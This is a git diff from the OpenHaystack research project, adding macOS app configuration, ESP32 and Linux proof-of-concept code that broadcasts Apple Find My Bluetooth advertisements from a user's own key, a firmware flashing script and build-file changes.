<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2020 SEEMOO - TU Darmstadt. All rights reserved.</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Just for testing</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Just for testing</string>
<key>NSLocationUsageDescription</key>
<string>Just for testing</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Just for testing</string>
<key>NSMainStoryboardFile</key>
<string>Main</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
<key>NSSupportsAutomaticTermination</key>
<true/>
<key>NSSupportsSuddenTermination</key>
<true/>
</dict>
</plist>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<false/>
<key>com.apple.security.cs.disable-executable-page-protection</key>
<true/>
</dict>
</plist>

View File

@@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,47 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel()
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Keys"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Offline Keys Plist"
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
self.panel?.allowedFileTypes = ["plist"]
self.panel?.begin(completionHandler: { (response) in
if response == .OK {
// Save the file in a cache directory
let fileURL = self.panel?.url
try? self.fileToSave?.write(to: fileURL!)
}
})
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
{
return filename
}
}

3
Firmware/ESP32/.gitignore vendored Normal file
View File

@@ -0,0 +1,3 @@
build/**
venv/**
sdkconfig.old

3
Firmware/ESP32/.vscode/settings.json vendored Normal file
View File

@@ -0,0 +1,3 @@
{
"idf.port": "/dev/cu.usbserial-0001"
}

View File

@@ -0,0 +1,7 @@
# The following lines of boilerplate have to be in your project's CMakeLists
# in this exact order for cmake to work correctly
cmake_minimum_required(VERSION 3.5)
set(SUPPORTED_TARGETS esp32)
include($ENV{IDF_PATH}/tools/cmake/project.cmake)
project(openhaystack)

10
Firmware/ESP32/Makefile Normal file
View File

@@ -0,0 +1,10 @@
#
# This is a project Makefile. It is assumed the directory this Makefile resides in is a
# project subdirectory.
#
PROJECT_NAME := openhaystack-esp32
COMPONENT_ADD_INCLUDEDIRS := components/include
include $(IDF_PATH)/make/project.mk

44
Firmware/ESP32/README.md Normal file
View File

@@ -0,0 +1,44 @@
# OpenHaystack Firmware for ESP32
This project contains a PoC firmware for Espressif ESP32 chips (like ESP32-WROOM or ESP32-WROVER, but _not_ ESP32-S2).
After flashing our firmware, the device sends out Bluetooth Low Energy advertisements such that it can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
## Disclaimer
Note that the firmware is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this firmware are trackable** by other devices in proximity.
## Requirements
To change and rebuild the firmware, you need Espressif's IoT Development Framework (ESP-IDF).
Installation instructions for the latest version of the ESP-IDF can be found in [its documentation](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/).
The firmware is tested on version 4.2.
For deploying the firmware, you need Python 3 on your path, either as `python3` (preferred) or as `python`, and the `venv` module needs to be available.
## Build
With the ESP-IDF on your `$PATH`, you can use `idf.py` to build the application from within this directory:
```bash
idf.py build
```
This will create the following files:
- `build/bootloader/bootloader.bin` -- The second stage bootloader
- `build/partition_table/partition-table.bin` -- The partition table
- `build/openhaystack.bin` -- The application itself
These files are required for the next step: Deploy the firmware.
## Deploy the Firmware
Use the `flash_esp32.sh` script to deploy the firmware and a public key to an ESP32 device connected to your local machine:
```bash
./flash_esp32.sh -p /dev/yourSerialPort "Base64-encoded advertisement key"
```
> **Note:** You might need to reset your device after running the script before it starts sending advertisements.
For more options, see `./flash-esp32.h --help`.

144
Firmware/ESP32/flash_esp32.sh Executable file
View File

@@ -0,0 +1,144 @@
#!/bin/bash
cleanup() {
echo "cleanup ..."
rm "$KEYFILE"
}
# Directory of this script
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
# Defaults: Directory for the virtual environment
VENV_DIR="$SCRIPT_DIR/venv"
# Defaults: Serial port to access the ESP32
PORT=/dev/ttyS0
# Defaults: Fast baud rate
BAUDRATE=921600
# Parameter parsing
while [[ $# -gt 0 ]]; do
KEY="$1"
case "$KEY" in
-p|--port)
PORT="$2"
shift
shift
;;
-s|--slow)
BAUDRATE=115200
shift
;;
-v|--venvdir)
VENV_DIR="$2"
shift
shift
;;
-h|--help)
echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
echo ""
echo " This script will create a virtual environment for the required tools."
echo ""
echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
echo ""
echo "Required Arguments:"
echo " PUBKEY"
echo " The base64-encoded public key"
echo ""
echo "Optional Arguments:"
echo " -h, --help"
echo " Show this message and exit."
echo " -p, --port <port>"
echo " Specify the serial interface to which the device is connected."
echo " -s, --slow"
echo " Use 115200 instead of 921600 baud when flashing."
echo " Might be required for long/bad USB cables or slow USB-to-Serial converters."
echo " -v, --venvdir <dir>"
echo " Select Python virtual environment with esptool installed."
echo " If the directory does not exist, it will be created."
exit 1
;;
*)
if [[ -z "$PUBKEY" ]]; then
PUBKEY="$1"
shift
else
echo "Got unexpected parameter $1"
exit 1
fi
;;
esac
done
# Sanity check: Pubkey exists
if [[ -z "$PUBKEY" ]]; then
echo "Missing public key, call with --help for usage"
exit 1
fi
# Sanity check: Port
if [[ ! -e "$PORT" ]]; then
echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
exit 1
fi
# Setup the virtual environment
if [[ ! -d "$VENV_DIR" ]]; then
# Create the virtual environment
PYTHON="$(which python3)"
if [[ -z "$PYTHON" ]]; then
PYTHON="$(which python)"
fi
if [[ -z "$PYTHON" ]]; then
echo "Could not find a Python installation, please install Python 3."
exit 1
fi
if ! ($PYTHON -V 2>&1 | grep "Python 3" > /dev/null); then
echo "Executing \"$PYTHON\" does not run Python 3, please make sure that python3 or python on your PATH points to Python 3"
exit 1
fi
if ! ($PYTHON -c "import venv" &> /dev/null); then
echo "Python 3 module \"venv\" was not found."
exit 1
fi
$PYTHON -m venv "$VENV_DIR"
if [[ $? != 0 ]]; then
echo "Creating the virtual environment in $VENV_DIR failed."
exit 1
fi
source "$VENV_DIR/bin/activate"
pip install --upgrade pip
pip install esptool
if [[ $? != 0 ]]; then
echo "Could not install Python 3 module esptool in $VENV_DIR";
exit 1
fi
else
source "$VENV_DIR/bin/activate"
fi
# Prepare the key
KEYFILE="$SCRIPT_DIR/tmp.key"
if [[ -f "$KEYFILE" ]]; then
echo "$KEYFILE already exists, stopping here not to override files..."
exit 1
fi
echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
if [[ $? != 0 ]]; then
echo "Could not parse the public key. Please provide valid base64 input"
exit 1
fi
# Call esptool.py. Errors from here on are critical
set -e
trap cleanup INT TERM EXIT
# Clear NVM
esptool.py --after no_reset --port "$PORT" \
erase_region 0x9000 0x5000
esptool.py --before no_reset --baud $BAUDRATE --port "$PORT" \
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
0xe000 "$KEYFILE" \
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"

View File

@@ -0,0 +1,3 @@
idf_component_register(SRCS "openhaystack_main.c"
INCLUDE_DIRS ".")

View File

View File

@@ -0,0 +1,4 @@
#
# "main" pseudo-component makefile.
#
# (Uses default behaviour of compiling all source files in directory, adding 'include' to include path.)

View File

@@ -0,0 +1,162 @@
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdio.h>
#include "nvs_flash.h"
#include "esp_partition.h"
#include "esp_bt.h"
#include "esp_gap_ble_api.h"
#include "esp_gattc_api.h"
#include "esp_gatt_defs.h"
#include "esp_bt_main.h"
#include "esp_bt_defs.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
static const char* LOG_TAG = "open_haystack";
/** Callback function for BT events */
static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param);
/** Random device address */
static esp_bd_addr_t rnd_addr = { 0xFF, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF };
/** Advertisement payload */
static uint8_t adv_data[31] = {
0x1e, /* Length (30) */
0xff, /* Manufacturer Specific Data (type 0xff) */
0x4c, 0x00, /* Company ID (Apple) */
0x12, 0x19, /* Offline Finding type and length */
0x00, /* State */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, /* First two bits */
0x00, /* Hint (0x00) */
};
/* https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/bluetooth/esp_gap_ble.html#_CPPv420esp_ble_adv_params_t */
static esp_ble_adv_params_t ble_adv_params = {
// Advertising min interval:
// Minimum advertising interval for undirected and low duty cycle
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
.adv_int_min = 0x0640, // 1s
// Advertising max interval:
// Maximum advertising interval for undirected and low duty cycle
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
.adv_int_max = 0x0C80, // 2s
// Advertisement type
.adv_type = ADV_TYPE_NONCONN_IND,
// Use the random address
.own_addr_type = BLE_ADDR_TYPE_RANDOM,
// All channels
.channel_map = ADV_CHNL_ALL,
// Allow both scan and connection requests from anyone.
.adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY,
};
static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)
{
esp_err_t err;
switch (event) {
case ESP_GAP_BLE_ADV_DATA_RAW_SET_COMPLETE_EVT:
esp_ble_gap_start_advertising(&ble_adv_params);
break;
case ESP_GAP_BLE_ADV_START_COMPLETE_EVT:
//adv start complete event to indicate adv start successfully or failed
if ((err = param->adv_start_cmpl.status) != ESP_BT_STATUS_SUCCESS) {
ESP_LOGE(LOG_TAG, "advertising start failed: %s", esp_err_to_name(err));
} else {
ESP_LOGI(LOG_TAG, "advertising has started.");
}
break;
case ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT:
if ((err = param->adv_stop_cmpl.status) != ESP_BT_STATUS_SUCCESS){
ESP_LOGE(LOG_TAG, "adv stop failed: %s", esp_err_to_name(err));
}
else {
ESP_LOGI(LOG_TAG, "stop adv successfully");
}
break;
default:
break;
}
}
int load_key(uint8_t *dst, size_t size) {
const esp_partition_t *keypart = esp_partition_find_first(0x40, 0x00, "key");
if (keypart == NULL) {
ESP_LOGE(LOG_TAG, "Could not find key partition");
return 1;
}
esp_err_t status;
status = esp_partition_read(keypart, 0, dst, size);
if (status != ESP_OK) {
ESP_LOGE(LOG_TAG, "Could not read key from partition: %s", esp_err_to_name(status));
}
return status;
}
void set_addr_from_key(esp_bd_addr_t addr, uint8_t *public_key) {
addr[0] = public_key[0] | 0b11000000;
addr[1] = public_key[1];
addr[2] = public_key[2];
addr[3] = public_key[3];
addr[4] = public_key[4];
addr[5] = public_key[5];
}
void set_payload_from_key(uint8_t *payload, uint8_t *public_key) {
/* copy last 22 bytes */
memcpy(&payload[7], &public_key[6], 22);
/* append two bits of public key */
payload[29] = public_key[0] >> 6;
}
void app_main(void)
{
ESP_ERROR_CHECK(nvs_flash_init());
ESP_ERROR_CHECK(esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT));
esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
esp_bt_controller_init(&bt_cfg);
esp_bt_controller_enable(ESP_BT_MODE_BLE);
esp_bluedroid_init();
esp_bluedroid_enable();
// Load the public key from the key partition
static uint8_t public_key[28];
if (load_key(public_key, sizeof(public_key)) != ESP_OK) {
ESP_LOGE(LOG_TAG, "Could not read the key, stopping.");
return;
}
set_addr_from_key(rnd_addr, public_key);
set_payload_from_key(adv_data, public_key);
ESP_LOGI(LOG_TAG, "using device address: %02x %02x %02x %02x %02x %02x", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]);
esp_err_t status;
//register the scan callback function to the gap module
if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) {
ESP_LOGE(LOG_TAG, "gap register error: %s", esp_err_to_name(status));
return;
}
if ((status = esp_ble_gap_set_rand_addr(rnd_addr)) != ESP_OK) {
ESP_LOGE(LOG_TAG, "couldn't set random address: %s", esp_err_to_name(status));
return;
}
if ((esp_ble_gap_config_adv_data_raw((uint8_t*)&adv_data, sizeof(adv_data))) != ESP_OK) {
ESP_LOGE(LOG_TAG, "couldn't configure BLE adv: %s", esp_err_to_name(status));
return;
}
ESP_LOGI(LOG_TAG, "application initialized");
}

View File

@@ -0,0 +1,5 @@
# Name, Type, SubType, Offset, Size, Flags
nvs, data, nvs, 0x9000, 0x5000,
key, 0x40, 0x00, 0xe000, 0x1000,
phy_init, data, phy, 0xf000, 0x1000,
factory, app, factory, 0x10000, 1M,
1 # Name Type SubType Offset Size Flags
2 nvs data nvs 0x9000 0x5000
3 key 0x40 0x00 0xe000 0x1000
4 phy_init data phy 0xf000 0x1000
5 factory app factory 0x10000 1M

1606
Firmware/ESP32/sdkconfig Normal file

File diff suppressed because it is too large Load Diff

84
Firmware/Linux_HCI/HCI.py Executable file
View File

@@ -0,0 +1,84 @@
#!/usr/bin/env python3
import base64
import subprocess
import time
import struct
import argparse
import sys
def advertisement_template():
adv = ""
adv += "1e" # length (30)
adv += "ff" # manufacturer specific data
adv += "4c00" # company ID (Apple)
adv += "1219" # offline finding type and length
adv += "00" # state
for _ in range(22): # key[6:28]
adv += "00"
adv += "00" # first two bits of key[0]
adv += "00" # hint
return bytearray.fromhex(adv)
def bytes_to_strarray(bytes_, with_prefix=False):
if with_prefix:
return [hex(b) for b in bytes_]
else:
return [format(b, "x") for b in bytes_]
def run_hci_cmd(cmd, hci="hci0", wait=1):
cmd_ = ["hcitool", "-i", hci, "cmd"]
cmd_ += cmd
print(cmd_)
subprocess.run(cmd_)
if wait > 0:
time.sleep(wait)
def start_advertising(key, interval_ms=2000):
addr = bytearray(key[:6])
addr[0] |= 0b11000000
adv = advertisement_template()
adv[7:29] = key[6:28]
adv[29] = key[0] >> 6
print(f"key ({len(key):2}) {key.hex()}")
print(f"address ({len(addr):2}) {addr.hex()}")
print(f"payload ({len(adv):2}) {adv.hex()}")
# Set BLE address
run_hci_cmd(["0x3f", "0x001"] + bytes_to_strarray(addr, with_prefix=True)[::-1])
subprocess.run(["systemctl", "restart", "bluetooth"])
time.sleep(1)
# Set BLE advertisement payload
run_hci_cmd(["0x08", "0x0008"] + [format(len(adv), "x")] + bytes_to_strarray(adv))
# Set BLE advertising mode
interval_enc = struct.pack("<h", interval_ms)
hci_set_adv_params = ["0x08", "0x0006"]
hci_set_adv_params += bytes_to_strarray(interval_enc)
hci_set_adv_params += bytes_to_strarray(interval_enc)
hci_set_adv_params += ["03", "00", "00", "00", "00", "00", "00", "00", "00"]
hci_set_adv_params += ["07", "00"]
run_hci_cmd(hci_set_adv_params)
# Start BLE advertising
run_hci_cmd(["0x08", "0x000a"] + ["01"], wait=0)
def main(args):
parser = argparse.ArgumentParser()
parser.add_argument("--key", "-k", help="Advertisement key (base64)")
args = parser.parse_args(args)
key = base64.b64decode(args.key.encode())
start_advertising(key)
if __name__ == "__main__":
main(sys.argv[1:])

View File

@@ -0,0 +1,19 @@
# OpenHaystack HCI Script for Linux
This script enables Linux devices to send out Bluetooth Low Energy advertisements such that they can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
## Disclaimer
Note that the script is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this script are trackable** by other devices in proximity.
## Requirements
The script requires a Linux machine with a Bluetooth Low Energy radio chip, a Python environment, and `hcitool` installed. We tested it on a Raspberry Pi running the official Raspberry Pi OS.
## Usage
Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory and selecting _Copy advertisement key (Base64)_. Then run the script:
```bash
sudo python3 HCI.py --key <ADVERTISMENT_KEY>
```

View File

@@ -1,7 +1,7 @@
PLATFORM := nRF51822
NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../OpenHaystack/OpenHaystack/HaystackApp/firmware.bin
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../../OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
export PLATFORM
export NRF51_SDK_PATH
@@ -10,7 +10,7 @@ ifeq ($(DEPLOY_PATH),)
DEPLOY_PATH := /Volumes/MICROBIT
endif
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git offline-finding/main.c
$(MAKE) -C blessed
$(MAKE) -C offline-finding

View File

@@ -15,7 +15,7 @@
#include "ll.h"
#define ADV_INTERVAL LL_ADV_INTERVAL_MIN_NONCONN /* 100 ms */
#define ADV_INTERVAL 2000000 /* 2 s */
/* don't make `const` so we can replace key in compiled binary image */
static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";

10
Makefile Normal file
View File

@@ -0,0 +1,10 @@
APPDIR := OpenHaystack
default:
install-hooks: .pre-commit
cp .pre-commit .git/hooks/pre-commit
app-autoformat:
swift-format format -i -r $(APPDIR)
clang-format -i $(shell find $(APPDIR) -name '*.h' -o -name '*.m')

View File

@@ -0,0 +1,3 @@
BasedOnStyle: llvm
ColumnLimit: 180
IndentWidth: 4

View File

@@ -0,0 +1,7 @@
{
"version": 1,
"lineLength": 180,
"indentation": {
"spaces": 4
}
}

View File

@@ -1,11 +1,13 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import "ReportsFetcher.h"
#import "BoringSSL.h"
#import "ALTAnisetteData.h"
#import "AppleAccountData.h"
#import "BoringSSL.h"
#import "ReportsFetcher.h"

View File

@@ -6,58 +6,35 @@
objectVersion = 54;
objects = {
/* Begin PBXAggregateTarget section */
78F7253325ED02300039C718 /* Run OFFetchReports */ = {
isa = PBXAggregateTarget;
buildConfigurationList = 78F7253625ED02300039C718 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */;
buildPhases = (
78F7253D25ED02390039C718 /* Codesign Offline Finder with Entitlements */,
);
dependencies = (
78F7253C25ED02350039C718 /* PBXTargetDependency */,
);
name = "Run OFFetchReports";
productName = "Create OfflineFinder";
};
/* End PBXAggregateTarget section */
/* Begin PBXBuildFile section */
0211DBC12491203100ABB066 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 0211DBC02491203100ABB066 /* Crypto */; };
0211DBC5249135D600ABB066 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 0211DBC3249135D600ABB066 /* MapViewController.xib */; };
0211DBC724913A8D00ABB066 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC624913A8D00ABB066 /* MapView.swift */; };
022253BA24E293B8006DF2B3 /* AuthKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 0298C0C8248F9506003928FE /* AuthKit.framework */; };
022253BB24E293B8006DF2B3 /* AuthKit.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 0298C0C8248F9506003928FE /* AuthKit.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
024D98492490CE320063EBB6 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 024D98482490CE320063EBB6 /* BoringSSL.m */; };
025DFEDC248FED250039C718 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 025DFEDB248FED250039C718 /* DecryptReports.swift */; };
116B4EED24A913AA007BA636 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 116B4EEC24A913AA007BA636 /* SavePanel.swift */; };
5A2C9089273425720044407E /* NRF in Resources */ = {isa = PBXBuildFile; fileRef = 5A2C9088273425720044407E /* NRF */; };
5A2C908B2734266A0044407E /* DataToHexExtension.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908A2734266A0044407E /* DataToHexExtension.swift */; };
5A2C908D273429360044407E /* NRFController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908C273429360044407E /* NRFController.swift */; };
5A2C908F273429540044407E /* NRFInstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908E273429540044407E /* NRFInstallSheet.swift */; };
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78014A2725DC01220089F6D9 /* MicrobitController.swift */; };
78014A2B25DC22120089F6D9 /* sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2A25DC22110089F6D9 /* sample.bin */; };
78014A2F25DC2F100089F6D9 /* pattern_sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2E25DC2F100089F6D9 /* pattern_sample.bin */; };
78108B70248E8FB50007E9C4 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* AppDelegate.swift */; };
78108B72248E8FB50007E9C4 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */; };
78108B74248E8FB80007E9C4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B73248E8FB80007E9C4 /* Assets.xcassets */; };
78108B77248E8FB80007E9C4 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */; };
78108B7A248E8FB80007E9C4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78108B78248E8FB80007E9C4 /* Main.storyboard */; };
78108B85248E8FDD0007E9C4 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 78108B84248E8FDD0007E9C4 /* ReportsFetcher.m */; };
78108B8F248F70D40007E9C4 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B8E248F70D40007E9C4 /* Models.swift */; };
78108B91248F72AF0007E9C4 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B90248F72AF0007E9C4 /* FindMyController.swift */; };
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78023CAA25F7767000B083EF /* ESP32Controller.swift */; };
78023CAF25F7797400B083EF /* ESP32 in Resources */ = {isa = PBXBuildFile; fileRef = 78023CAE25F7797400B083EF /* ESP32 */; };
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */; };
781EB3EA25DAD7EA00FEAA19 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 78108B84248E8FDD0007E9C4 /* ReportsFetcher.m */; };
781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 116B4EEC24A913AA007BA636 /* SavePanel.swift */; };
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 025DFEDB248FED250039C718 /* DecryptReports.swift */; };
781EB3EE25DAD7EA00FEAA19 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */; };
781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC2249135D600ABB066 /* MapViewController.swift */; };
781EB3F025DAD7EA00FEAA19 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC624913A8D00ABB066 /* MapView.swift */; };
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7867874724A651C600199B09 /* FindMyKeyDecoder.swift */; };
781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* AppDelegate.swift */; };
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */; };
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B8E248F70D40007E9C4 /* Models.swift */; };
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B90248F72AF0007E9C4 /* FindMyController.swift */; };
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 024D98482490CE320063EBB6 /* BoringSSL.m */; };
781EB3F725DAD7EA00FEAA19 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 781EB3E725DAD7EA00FEAA19 /* Crypto */; };
781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78108B78248E8FB80007E9C4 /* Main.storyboard */; };
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 0211DBC3249135D600ABB066 /* MapViewController.xib */; };
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */; };
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B73248E8FB80007E9C4 /* Assets.xcassets */; };
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD025F7B2C10054DC33 /* FileManager.swift */; };
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */; };
782853C22755103A00B18EDE /* UpdateCheckController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782853C12755103A00B18EDE /* UpdateCheckController.swift */; };
782853C427551B4400B18EDE /* UpdateCheckTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782853C327551B4400B18EDE /* UpdateCheckTests.swift */; };
78286CB225E3ACE700F65511 /* OpenHaystackPluginService.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CAF25E3ACE700F65511 /* OpenHaystackPluginService.m */; };
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
78286D2A25E3EC3200F65511 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
@@ -71,24 +48,23 @@
78486BF425DD7AD90007ED87 /* sampleKeys.plist in Resources */ = {isa = PBXBuildFile; fileRef = 78486BF325DD7AD90007ED87 /* sampleKeys.plist */; };
78486C0A25DDCC610007ED87 /* offline-finding.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78486C0925DDCC610007ED87 /* offline-finding.bin */; };
7851F1DD25EE90FA0049480D /* AccessoryMapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */; };
7867874824A651C600199B09 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7867874724A651C600199B09 /* FindMyKeyDecoder.swift */; };
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 787D8AC025DECD3C00148766 /* AccessoryController.swift */; };
7899D1D625DE74EE00115740 /* firmware.bin in Resources */ = {isa = PBXBuildFile; fileRef = 7899D1D525DE74EE00115740 /* firmware.bin */; };
7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E025DE97E200115740 /* IconSelectionView.swift */; };
